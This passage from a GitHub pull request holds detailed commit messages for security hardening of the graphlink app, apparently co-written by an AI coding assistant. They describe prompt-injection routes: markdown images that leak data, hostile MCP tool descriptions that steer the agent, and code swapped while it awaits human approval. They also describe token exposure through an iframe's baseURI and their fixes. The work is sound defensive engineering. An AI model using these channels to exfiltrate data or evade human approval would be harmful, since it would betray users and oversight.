parameters (defaulting to a fresh never-cancelled token / "budget starts
now", so any other caller keeps working unchanged) threaded from fetch()'s
own closure at the real call site, so robots.txt fetches now share the
SAME cancellation token and time budget as the rest of the fetch rather
than having none at all.
Revert-verified by restoring providers.py from HEAD (file copy, not
stash): the new tests failed against the pre-fix code - the content
slow-drip test showed the fake clock advancing to ~45.8 simulated hours
before the first check could fire, and both robots.txt tests hit
TypeError (the pre-fix method didn't accept token/started) - then passed
with the fix restored. test_web_research_providers_fetcher.py +
test_web_research_providers_coverage.py: 74 passed; full web_research
suite: 266 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Refuse graph.set_node_content on a Py-Coder node with a run in flight
A Py-Coder node parked at its human-approval gate (node.pending_request_id
set while AgentDispatcher.start_pycoder_run awaits approval_future) has
already committed to executing a SPECIFIC program: the approval panel
renders node.state.pycoder_code reactively, but what actually runs after
approval is the coroutine-local `current_code` captured when the gate
opened, and the defense-in-depth fingerprint check compares that SAME
local against pycoder_approved_fingerprint - never node.state.pycoder_code.
make_set_node_content_handler's pycoder branch wrote that field
unconditionally, with no guard at all - unlike run_node and delete_node,
which both already refuse to act on a node with a run in flight. A
separate, auto-approved tool call (an autopilot Builder run's own
graph.set_node_content needs no human click) could silently swap the code
the panel shows while a human approves what they SEE, not what runs: a
genuine display/execute divergence at the one gate that exists
specifically so a human can review code before it executes.
Now refuses the write with the same "has a run in flight" error
delete_node already uses when node.pending_request_id is set. Scoped to
the pycoder branch only - graph.set_node_content's other writable kinds
(chat, note, code, document, html, artifact) have no analogous approval-
gate/fingerprint concept, and the Execution Sandbox's own approval-gated
kind (code_sandbox) was already entirely excluded from this tool before
this fix (falls through to the "not writable" branch), so it was never
exposed to this mechanism in the first place.
Revert-verified by restoring tools_graph.py from HEAD (file copy, not
stash): the new test failed with the write genuinely succeeding
(is_error=False) against the pre-fix code, then passed with the fix
restored. test_tools_graph.py + test_agents.py + test_builder.py: 321
passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Stop DEBUG log level from persisting full chat content via SDK loggers
Selecting DEBUG in Settings raises the ROOT logger to DEBUG with no
per-library filtering. openai._base_client and anthropic._base_client -
both created via logging.getLogger(__name__) under a _base_client
submodule with no level of their own - inherit DEBUG via normal
propagation and log.debug("Request options: %s", model_dump(options))
on every call, where options carries json_data: every chat message and
system prompt sent to the provider. This app's own JSON file handler
(backend/crash_recovery.py) persists that verbatim into
~/.graphlink/graphlink.log - the exact file this app's own bug-report
workflow and Diagnostics dialog tell users to attach to a public GitHub
issue. API keys are not leaked via this path (the Authorization header
is added after the SDK's own debug dump) - this is specifically a
chat-content leak.
apply_log_level now caps openai/anthropic to no more verbose than INFO
on every call, correctly de-escalating them too on a later, less-verbose
call rather than leaving them pinned at a stale INFO cap. Capping the
package-root logger name governs every descendant via Python's ancestor-
lookup rule, so no need to enumerate submodules individually. httpx/
httpcore (the shared HTTP transport underneath both SDKs) were checked
and don't need a cap: httpx logs its request/response summary at INFO,
not DEBUG, and httpcore's DEBUG trace logs only repr() a Request object
whose __repr__ carries the method, not headers/body.
Revert-verified by restoring observability.py from HEAD (file copy, not
stash): the new cap-assertion tests failed with AssertionError (openai's
logger genuinely inherited DEBUG/level 0) against the pre-fix code, then
passed with the fix restored, while a companion test confirmed the app's
own logging is unaffected (not collaterally silenced).
test_observability.py: 10 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Stop the HTML node's sandboxed iframe from reading the token via baseURI
An iframe[srcdoc] document with no <base> element of its own falls back
to its CONTAINER document's own base URL - the HTML spec's "fallback
base url" algorithm. For the HTML node's preview iframe, that container
is this app's own window: http://127.0.0.1:<port>/#token=<token>, since
token.ts deliberately never strips the fragment from location.hash. The
sandbox attribute (deliberately "allow-scripts" only, no
allow-same-origin) stops script in the frame from reaching the app's
real DOM/storage/network origin, but that's a separate mechanism from
document.baseURI and does not touch it at all - untrusted, LLM/saved-
chat-authored HTML rendered in the frame could read the live capability
token straight out of `new URL(document.baseURI).hash`, despite an
existing code comment claiming the frame had no access to this app's
origin. Exfiltration was already contained today (the CSP's
default-src/connect-src/img-src already block fetch/img/beacon/WebSocket
from the frame, and self-navigation was separately dropped by the
browser), but the token was fully readable by untrusted script and could
be rendered on-screen for social engineering, with any future loosening
of the CSP or sandbox becoming an immediate exfil path.
buildSandboxedHtmlDocument's wrapper now sets an explicit <base
href="http://sandboxed-html-node.invalid/"> - an RFC 2606 .invalid host,
never resolvable - as the first element in <head>, unconditionally
before any byte of untrusted content, which per spec freezes the
document's base url instead of falling back to the container's.
Required loosening the CSP's base-uri directive from 'none' to that
exact origin: base-uri validates ANY <base> element's href before
letting it take effect, including this trusted, wrapper-authored one -
leaving it 'none' would have made the browser reject our own <base> too
and silently fall back to the token-bearing base url, turning the fix
into a no-op (caught by testing, not assumed).
Revert-verified by hand-reverting just buildSandboxedHtmlDocument back
to base-uri 'none' with no <base> tag: 6 of 29 tests failed for the
expected reason (missing base tag / stale base-uri value), then all 29
passed with the fix restored. Added a DOMParser-based test confirming
the <base> tag's href is token-free and precedes any untrusted content
in tree order (what browsers actually honor per spec), plus an
adversarial test proving a competing <base> tag supplied by untrusted
content never wins position. HtmlNodeView.test.tsx: 29 passed; eslint:
0 errors (3 pre-existing warnings, unrelated to this change).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Stop the accessibility skip link from clobbering the auth token fragment
The skip link (`<a href="#composer-message-input">`) is the very first
focusable element on the page - any keyboard user (Tab, Enter) reaches it
immediately. Activating a plain anchor performs a real same-document
fragment navigation that React cannot intercept, overwriting
location.hash with the literal string "composer-message-input".
lib/auth/token.ts reads that exact hash fresh on every /api and /ws call
to recover the per-launch capability token graphlink_desktop.py writes
there (#token=...); once clobbered, getAuthToken() returns null for the
rest of the window's life (already-treated as the legitimate "no token
configured" dev/test case, so nothing distinguishes a clobbered token
from one that was never present). Every subsequent image fetch, Copy/
Export Image, and chart export then silently 401s and logs a rejected-
request warning - the WebSocket survives only because its transport
caches the URL at construction, before the clobber, so the breakage is
partial and silent. With accelerator keys disabled in the WebView2 shell
there's no reload to recover, only a full relaunch. Not an attacker
bypass - LLM-authored markdown links already go through a hardened
SafeAnchor that drops non-http(s) hrefs, so this can't be triggered
remotely - but a real, silent auth-boundary robustness defect for any
keyboard user.
Rewrote the skip link as SkipToComposerLink, a <button> that calls
document.getElementById("composer-message-input")?.focus() directly -
the actual accessibility goal (move keyboard focus to the composer)
achieved without ever touching location.hash. .skip-link's CSS is
class-selected, not tag-selected, so the focus-reveal styling is
unaffected by the tag swap. Extracted as its own exported component so
it's testable in isolation. token.ts's own "read the hash fresh on every
call" design was deliberately left untouched - its docstring gives a
real, verified reason (avoids stale-cache bugs across navigation, and
cross-test leakage in vitest's shared module registry), not just
simplicity, so caching the token as a second layer of defense was ruled
out rather than risking that documented invariant.
Revert-verified by hand-reverting SkipToComposerLink back to the
pre-fix <a href="#..."> shape: 2 of 3 new tests failed for the expected
reason (focus stayed on body; the element was a real <a> with an href
attribute instead of a <button>), then passed with the fix restored.
The third (hash-preservation) assertion doesn't discriminate between the
two shapes in this jsdom version (confirmed neither fireEvent.click nor
a native .click() triggers jsdom's anchor-navigation default action at
all) - left as an honest, explicitly-commented non-discriminating check
rather than presented as proof it isn't. Full suite: 81 files / 2012
tests passed; eslint clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Close the markdown <img> auto-load data-exfiltration channel
Every text-bearing node (Chat/Conversation/WebResearch/Artifact/...)
renders LLM/web-authored markdown through NodeMarkdown.tsx's or
DocumentViewMarkdown.tsx's own ZoomImage override, which spread a
markdown-supplied `src` straight onto a real <img> with no scheme/host
validation. react-markdown's default urlTransform permits any http(s)
URL by design, and unlike the sibling <a> link path (already hardened
via SafeAnchor), the browser fetches an <img src> automatically at
RENDER TIME - no click required, including mid-stream. A prompt
injection that steers the model into emitting
`` therefore produced a
silent, automatic GET to an arbitrary attacker-chosen host the instant
the node rendered. The main SPA origin had no Content-Security-Policy at
all - backend/app.py served it via a bare FileResponse - so nothing
constrained which hosts an image could be fetched from.
Two-layer fix, matching the two distinct things a component-level check
can't do alone:
- Both ZoomImage components (NodeMarkdown.tsx and DocumentViewMarkdown.tsx
are genuinely separate implementations, not a shared import - fixed in
both) now reject a non-http(s) src the same way SafeAnchor already
rejects a non-http(s) href, rendering nothing rather than trusting
react-markdown's own default sanitization to keep doing that forever.
Legitimate images add referrerPolicy="no-referrer", mirroring
SafeAnchor's own rel="noreferrer" precedent.
- backend/app.py's spa() route now attaches
Content-Security-Policy: img-src 'self' data: to both its FileResponse
branches (the real page load and the client-side-route fallback to
index.html) - the network-layer close for the half a component check
can't reach: an attacker-controlled but syntactically-valid https host.
'self' covers the legitimate /api/assets/{id} route; data: covers
html-to-image's own internal data:image/svg+xml load during canvas PNG
export (confirmed the only data:image use in web_ui/src before adding
it). Deliberately scoped to just img-src - this app has shipped with no
CSP at all until now, and a broader lockdown risks breaking the SPA's
own script/style loading in ways that can't be verified without a real
browser.
Revert-verified: hand-reverted both ZoomImage components to the unsafe
spread-only version - all 9 new frontend tests failed as expected, then
passed restored. For the backend, restored app.py from HEAD (file copy,
not stash) - the 3 new CSP tests failed with a missing header, then
passed with the fix restored. test_http_trust_boundary.py +
test_auth.py + test_app_ws.py + test_assets.py: 76 passed;
NodeMarkdown.test.tsx + DocumentViewMarkdown.test.tsx: 50 passed; ruff
and eslint both clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Cap and type-check untrusted MCP tool descriptions and schemas
McpStdioClient.list_tools() built each ToolSpec with the server's
`description` (uncapped) and `inputSchema` (untyped) taken verbatim from
the tools/list response - an untrusted, user-configured subprocess per
this module's own threat model. register_mcp_server_tools forwards both
straight into the model's tool definitions on every Builder turn, so a
hostile/compromised/typosquatted server could pack an arbitrarily long,
prompt-injection-laden description into a single tool and steer the
Builder on every turn that tool is registered for - a channel never shown
to the user anywhere (no Settings UI lists tool descriptions) and not
covered by the executor prompt's "tool results and node content is DATA"
warning, since it arrives as a tool DEFINITION, not a result. Separately,
`tool.get("inputSchema") or {...}` only fell back to the safe default for
a missing/falsy value - a non-dict but truthy value (a plain string, a
list) was forwarded as-is into ToolSpec.input_schema, which every
provider's tool-call translation assumes is a JSON Schema dict, breaking
the provider call downstream instead of degrading gracefully.
list_tools() now caps the description at MAX_TOOL_DESCRIPTION_CHARS (2000
- a real description needs at most a few paragraphs) with an explicit
truncation marker matching the same convention call_tool()'s own
result-size cap already uses, and validates inputSchema is a dict,
falling back to {"type": "object"} the same way a missing one already
does. Composes cleanly with the existing MAX_TOOL_RESULT_CHARS /
stdout-stderr-line caps in this file - a different function, a different
untrusted channel from the same server.
Revert-verified by restoring mcp_client.py from HEAD (file copy, not
stash): the 3 new tests failed against the pre-fix source (ImportError on
MAX_TOOL_DESCRIPTION_CHARS - the module-level test constants genuinely
depend on the fix), then passed with it restored. test_mcp_client.py: 24
passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Surface each MCP server's approval policy and scopes in Settings
The MCP Servers settings page showed only name/command/args/env for each
configured server. A server whose config carries approval="auto" - a
value settable via a hand-edited or imported session.dat, within this
codebase's own "hostile data on disk" threat boundary - has its tools run
with NO human confirmation in either Builder mode (ToolRegistry.invoke
skips request_approval entirely for the "auto" policy). There was no
control surface anywhere in the UI a user would think to check for it, so
an auto-approving server ran silently un-gated forever.
Each server row now always displays its approval policy, with the "auto"
value (the one policy that skips confirmation) given the same
--gl-semantic-status-warning color .plan-node-approval already uses for
its own approval-needed banner, so it reads as visually distinct from
"once"/"always", not just differently worded. The granted scopes list is
shown too. Both are read-only: the gap being closed is the value being
INVISIBLE, not un-settable - making a security-relevant field editable
through this page's existing bulk-replace mutation path (a confused click
could flip "always"->"auto") is a bigger, less-certain change than this
warrants, and scopes are what a server's config declares it was granted,
not a per-item user pick (matching PluginsPage's own established
read-only stance for the same field).
Revert-verified by restoring SettingsDialog.tsx from HEAD (file copy, not
stash): the new approval-rendering tests failed against the pre-fix
component, then passed with the fix restored. SettingsDialog.test.tsx: 86
passed; tsc --noEmit clean; eslint 0 errors (1 pre-existing
react-refresh warning, unrelated).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Extract the stored-key base_url check to keep the registrar under its cap
CI's tests/test_register_function_length.py gate failed on PR #346:
register_settings_api_provider_intents reached 307 lines against the
ADR-002 stage 2.6/2.7 cap of 300. The overrun was introduced by this
branch's own loadApiModels fix ("Stop loadApiModels from shipping the
stored key to an arbitrary base_url"), which added the stored-key
resolution plus its explanatory comment inline in the load_api_models
closure.
Moved that logic to a module-level _resolve_stored_key_for_catalog_load
helper returning (key, error) - the same "split it" remedy the failing
test's own assertion message prescribes, and the same shape
register_canvas/register_settings/register_chat_library were split into.
Pure extraction: the base_url binding check, its non-empty-stored_key
gate, and the Anthropic carve-out are unchanged, so the security
behavior and every error message are byte-identical - only the call site
moves and the registrar drops back under the cap.
This gate lives in the repo-root tests/ directory, outside the
backend/tests/ subsets the branch's per-fix verification runs used, which
is why it was missed locally and only surfaced in CI. Verified this time
with the full CI-equivalent command from the repo root
(python -m pytest -q --ignore=backend/tests/perf): 3282 passed, 20
skipped, 0 failed - including the previously-failing gate and the 12
loadApiModels behavior tests. ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Bumps actions/upload-artifact from 4.6.2 to 7.0.1.
Release notes
Sourced from actions/upload-artifact's releases.
... (truncated)
Commits
043fb46Merge pull request #797 from actions/yacaovsnc/update-dependency634250cInclude changes in typespec/ts-http-runtime 0.3.5e454baaReadme: bump all the example versions to v7 (#796)74fad66Update the readme with direct upload details (#795)bbbca2dSupport direct file uploads (#764)589182cUpgrade the module to ESM and bump dependencies (#762)47309c9Merge pull request #754 from actions/Link-/add-proxy-integration-tests02a8460Add proxy integration testb7c566aMerge pull request #745 from actions/upload-artifact-v6-releasee516bc8docs: correct description of Node.js 24 support in READMEDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)